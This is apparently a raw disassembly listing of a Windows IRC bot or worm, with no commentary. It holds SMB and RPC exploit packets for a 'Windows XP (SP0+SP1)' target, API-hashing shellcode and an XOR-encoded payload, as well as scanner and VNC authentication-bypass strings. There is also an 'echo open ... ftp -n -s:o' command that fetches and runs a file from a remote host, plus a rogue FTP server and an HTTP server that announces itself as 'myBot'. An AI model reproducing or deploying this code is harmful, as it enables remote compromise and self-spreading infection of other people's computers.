; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_431A4C db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431A74 db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431AAC db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431AEC db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431B24 db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431B58 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431B8C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADA+B2o align 10h dword_431C40 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_431C48 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_431C4C dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_431C54 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_431CDC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_431D0C dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_431D18 db 81h ; ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_431D64 db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_431DA8 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_431EA4 push dword ptr [esi] push 63D61209h call sub_431EBA mov [esi+8], eax call sub_431E6D push dword ptr [esi+4] push 0CA2BD06Bh call sub_431EBA mov [esi+0Ch], eax call sub_431E1F push dword ptr [esi+4] push 4C0297FAh call sub_431EBA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_431DA8 endp ; =============== S U B R O U T I N E ======================================= sub_431E1F proc near ; CODE XREF: sub_431DA8+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_431E48 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_431E1F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E48 proc near ; CODE XREF: sub_431E1F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_431E57: ; CODE XREF: sub_431E48+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_431E64 inc ebx jmp short loc_431E57 ; --------------------------------------------------------------------------- loc_431E64: ; CODE XREF: sub_431E48+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_431E48 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E6D proc near ; CODE XREF: sub_431DA8+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_431E85: ; CODE XREF: sub_431E6D+1Ej cmp [ecx], ebx jz short loc_431E8D mov ecx, [ecx] jmp short loc_431E85 ; --------------------------------------------------------------------------- loc_431E8D: ; CODE XREF: sub_431E6D+1Aj mov edx, edi loc_431E8F: ; CODE XREF: sub_431E6D+2Aj cmp [edx+4], ebx jz short loc_431E99 mov edx, [edx+4] jmp short loc_431E8F ; --------------------------------------------------------------------------- loc_431E99: ; CODE XREF: sub_431E6D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_431E6D endp ; =============== S U B R O U T I N E ======================================= sub_431EA4 proc near ; CODE XREF: sub_431DA8+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_431EA4 endp ; =============== S U B R O U T I N E ======================================= sub_431EBA proc near ; CODE XREF: sub_431DA8+16p ; sub_431DA8+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_431ED0: ; CODE XREF: sub_431EBA+33j jecxz short loc_431F0A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_431EDD: ; CODE XREF: sub_431EBA+2Dj lodsb cmp al, ah jz short loc_431EE9 ror edi, 0Dh add edi, eax jmp short loc_431EDD ; --------------------------------------------------------------------------- loc_431EE9: ; CODE XREF: sub_431EBA+26j cmp edi, [esp+20h+arg_0] jnz short loc_431ED0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_431F0A: ; CODE XREF: sub_431EBA:loc_431ED0j ; sub_431EBA:loc_431F0Aj jmp short loc_431F0A sub_431EBA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_431F10 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_431F62 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_431F2D: ; CODE XREF: sub_431F10+38j jecxz short loc_431F5D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_431F38: ; CODE XREF: sub_431F10+32j lodsb test al, al jz short loc_431F44 ror edx, 0Dh add edx, eax jmp short loc_431F38 ; --------------------------------------------------------------------------- loc_431F44: ; CODE XREF: sub_431F10+2Bj cmp edx, [esp+arg_0] jnz short loc_431F2D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_431F5D: ; CODE XREF: sub_431F10:loc_431F2Dj mov [esp+arg_0], ebx retn sub_431F10 endp ; =============== S U B R O U T I N E ======================================= sub_431F62 proc near ; CODE XREF: sub_431F10+7p ; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_431F7B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_431F86 ; --------------------------------------------------------------------------- loc_431F7B: ; CODE XREF: sub_431F62+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_431F86: ; CODE XREF: sub_431F62+14j pop edi xor esi, esi pusha push esi jmp short loc_431F9A sub_431F62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431F8D proc near ; CODE XREF: sub_431F62:loc_431F9Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_431F8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F62 loc_431F9A: ; CODE XREF: sub_431F62+29j call sub_431F8D loc_431F9F: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_431F62 ; --------------------------------------------------------------------------- dw 0 dword_431FA4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_431FB0 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_431FB4 dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_431FB8 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_431FC4: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_431FCC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_431FCC dd 0 ; CODE XREF: ___:loc_431FC4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_432038 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_432044: ; CODE XREF: ___:0043204Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_432044 inc edi jz short loc_43208B and eax, 952CE753h inc esp jle short loc_4320B3 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_43208B: ; CODE XREF: ___:00432051j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4320EA+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4320B0: ; CODE XREF: ___:004320DDj xor [esi-25h], bl loc_4320B3: ; CODE XREF: ___:00432059j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4320CC: ; CODE XREF: ___:004320FFj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4320B0 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4320EA: ; CODE XREF: ___:00432091j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_432176 jo short loc_4320CC fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_43210D+1 add bl, [edi] loc_43210D: ; CODE XREF: ___:00432109j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_432122+2 cmp ch, bh dec edx loc_432122: ; CODE XREF: ___:0043211Dj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_432176: ; CODE XREF: ___:004320FDj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_4321FC sub al, 0BCh jmp near ptr 5445256Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432198 dd 0EFFFC481h, 44FFFFh, 4321E4h ; DATA XREF: ___:0040DC32o dword_4321A4 dd 42Ah ; DATA XREF: ___:0040DBE5r dword_4321A8 dd 3E8h ; DATA XREF: ___:0040DC56r dword_4321AC dd 258h ; DATA XREF: ___:0040DC28r byte_4321B0 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4321C8 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_4321FC: ; CODE XREF: ___:00432180j push eax xor al, 29h loc_4321FF: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_432208 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_43221C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4322C4 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 4 word_433508 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_43350C dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferC_0 db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00437C70o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00437C7Co unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4337F4 db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_43381C db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_433A3C db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_433A74 db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_433AA8: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD 